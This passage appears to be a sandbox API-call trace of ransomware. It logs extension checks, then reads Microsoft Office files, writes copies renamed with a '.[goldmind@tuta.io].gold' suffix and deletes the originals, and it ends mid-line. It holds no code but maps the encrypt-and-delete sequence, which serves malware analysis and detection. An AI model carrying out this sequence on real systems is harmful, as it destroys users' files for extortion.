returned 4 [0102.884] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString=".xlsx") returned 5 [0102.884] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.884] lstrlenW (lpString=".ppt") returned 4 [0102.884] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".zip") returned 4 [0102.884] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString=".rar") returned 4 [0102.884] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString=".bz2") returned 4 [0102.884] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.884] lstrlenW (lpString=".7z") returned 3 [0102.884] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".dbf") returned 4 [0102.884] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".1cd") returned 4 [0102.884] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".jpg") returned 4 [0102.884] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".doc") returned 4 [0102.885] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.885] lstrlenW (lpString=".docx") returned 5 [0102.885] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.885] lstrlenW (lpString=".pdf") returned 4 [0102.885] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.885] lstrlenW (lpString=".xls") returned 4 [0102.885] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.885] lstrlenW (lpString=".xlsx") returned 5 [0102.885] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.885] lstrlenW (lpString=".ppt") returned 4 [0102.885] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.885] lstrlenW (lpString=".zip") returned 4 [0102.885] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.885] lstrlenW (lpString=".rar") returned 4 [0102.885] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.885] lstrlenW (lpString=".bz2") returned 4 [0102.885] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.885] lstrlenW (lpString=".7z") returned 3 [0102.885] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.885] lstrlenW (lpString=".dbf") returned 4 [0102.885] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.885] lstrlenW (lpString=".1cd") returned 4 [0102.885] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.885] lstrlenW (lpString=".jpg") returned 4 [0102.885] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.885] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.885] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0102.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.886] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=113) returned 1 [0102.886] CloseHandle (hObject=0x38c) returned 1 [0102.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20 [0102.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.886] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.886] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.887] GetLastError () returned 0x0 [0102.887] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x71, lpOverlapped=0x0) returned 1 [0102.889] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0102.890] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.890] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x104, lpOverlapped=0x0) returned 1 [0102.890] SetEndOfFile (hFile=0x398) returned 1 [0102.890] CloseHandle (hObject=0x398) returned 1 [0102.890] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.890] SetEndOfFile (hFile=0x38c) returned 1 [0103.197] CloseHandle (hObject=0x38c) returned 1 [0103.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".doc") returned 4 [0103.521] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.521] lstrlenW (lpString=".docx") returned 5 [0103.521] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.521] lstrlenW (lpString=".pdf") returned 4 [0103.521] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString=".xls") returned 4 [0103.521] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString=".xlsx") returned 5 [0103.521] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.521] lstrlenW (lpString=".ppt") returned 4 [0103.521] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".zip") returned 4 [0103.521] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString=".rar") returned 4 [0103.521] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString=".bz2") returned 4 [0103.521] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.521] lstrlenW (lpString=".7z") returned 3 [0103.521] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".dbf") returned 4 [0103.521] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".1cd") returned 4 [0103.521] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".jpg") returned 4 [0103.521] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.521] lstrlenW (lpString=".doc") returned 4 [0103.521] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.521] lstrlenW (lpString=".docx") returned 5 [0103.521] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.521] lstrlenW (lpString=".pdf") returned 4 [0103.522] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.522] lstrlenW (lpString=".xls") returned 4 [0103.522] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.522] lstrlenW (lpString=".xlsx") returned 5 [0103.522] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.522] lstrlenW (lpString=".ppt") returned 4 [0103.522] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.522] lstrlenW (lpString=".zip") returned 4 [0103.522] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.522] lstrlenW (lpString=".rar") returned 4 [0103.522] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.522] lstrlenW (lpString=".bz2") returned 4 [0103.522] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.522] lstrlenW (lpString=".7z") returned 3 [0103.522] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.522] lstrlenW (lpString=".dbf") returned 4 [0103.522] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.522] lstrlenW (lpString=".1cd") returned 4 [0103.522] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0103.522] lstrlenW (lpString=".jpg") returned 4 [0103.522] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.522] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.522] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0103.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.523] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=626) returned 1 [0103.523] CloseHandle (hObject=0x3b4) returned 1 [0103.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 0x20 [0103.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.523] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.523] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0103.524] GetLastError () returned 0x0 [0103.524] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x272, lpOverlapped=0x0) returned 1 [0103.643] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x280, lpOverlapped=0x0) returned 1 [0103.644] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.644] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0103.644] SetEndOfFile (hFile=0x3c8) returned 1 [0103.644] CloseHandle (hObject=0x3c8) returned 1 [0103.644] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.644] SetEndOfFile (hFile=0x3b4) returned 1 [0103.646] CloseHandle (hObject=0x3b4) returned 1 [0103.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 1 [0103.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.815] lstrlenW (lpString=".doc") returned 4 [0103.815] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.815] lstrlenW (lpString=".docx") returned 5 [0103.815] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.815] lstrlenW (lpString=".pdf") returned 4 [0103.815] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.815] lstrlenW (lpString=".xls") returned 4 [0103.815] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.815] lstrlenW (lpString=".xlsx") returned 5 [0103.815] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.815] lstrlenW (lpString=".ppt") returned 4 [0103.815] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.815] lstrlenW (lpString=".zip") returned 4 [0103.815] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.815] lstrlenW (lpString=".rar") returned 4 [0103.815] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.815] lstrlenW (lpString=".bz2") returned 4 [0103.815] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.815] lstrlenW (lpString=".7z") returned 3 [0103.816] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".dbf") returned 4 [0103.816] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".1cd") returned 4 [0103.816] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".jpg") returned 4 [0103.816] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".doc") returned 4 [0103.816] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString=".docx") returned 5 [0103.816] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.816] lstrlenW (lpString=".pdf") returned 4 [0103.816] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString=".xls") returned 4 [0103.816] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString=".xlsx") returned 5 [0103.816] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.816] lstrlenW (lpString=".ppt") returned 4 [0103.816] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".zip") returned 4 [0103.816] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString=".rar") returned 4 [0103.816] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.816] lstrlenW (lpString=".bz2") returned 4 [0103.816] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString=".7z") returned 3 [0103.816] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".dbf") returned 4 [0103.816] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".1cd") returned 4 [0103.816] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0103.816] lstrlenW (lpString=".jpg") returned 4 [0103.816] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.816] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.816] lstrlenW (lpString="OISINTL.DLL") returned 11 [0103.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.828] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=129432) returned 1 [0103.828] CloseHandle (hObject=0x3b4) returned 1 [0103.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll")) returned 0x20 [0103.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.975] lstrlenW (lpString=".doc") returned 4 [0103.976] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".docx") returned 5 [0103.976] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0103.976] lstrlenW (lpString=".pdf") returned 4 [0103.976] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".xls") returned 4 [0103.976] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".xlsx") returned 5 [0103.976] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0103.976] lstrlenW (lpString=".ppt") returned 4 [0103.976] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".zip") returned 4 [0103.976] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".rar") returned 4 [0103.976] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".bz2") returned 4 [0103.976] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.976] lstrlenW (lpString=".7z") returned 3 [0103.976] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".dbf") returned 4 [0103.976] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".1cd") returned 4 [0103.976] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".jpg") returned 4 [0103.976] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".doc") returned 4 [0103.976] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".docx") returned 5 [0103.976] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0103.976] lstrlenW (lpString=".pdf") returned 4 [0103.976] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".xls") returned 4 [0103.976] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString=".xlsx") returned 5 [0103.976] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0103.976] lstrlenW (lpString=".ppt") returned 4 [0103.976] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.976] lstrlenW (lpString=".zip") returned 4 [0103.976] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.977] lstrlenW (lpString=".rar") returned 4 [0103.977] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.977] lstrlenW (lpString=".bz2") returned 4 [0103.977] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.977] lstrlenW (lpString=".7z") returned 3 [0103.977] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0103.977] lstrlenW (lpString=".dbf") returned 4 [0103.977] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.977] lstrlenW (lpString="C:\\Program Files\\Microsoft 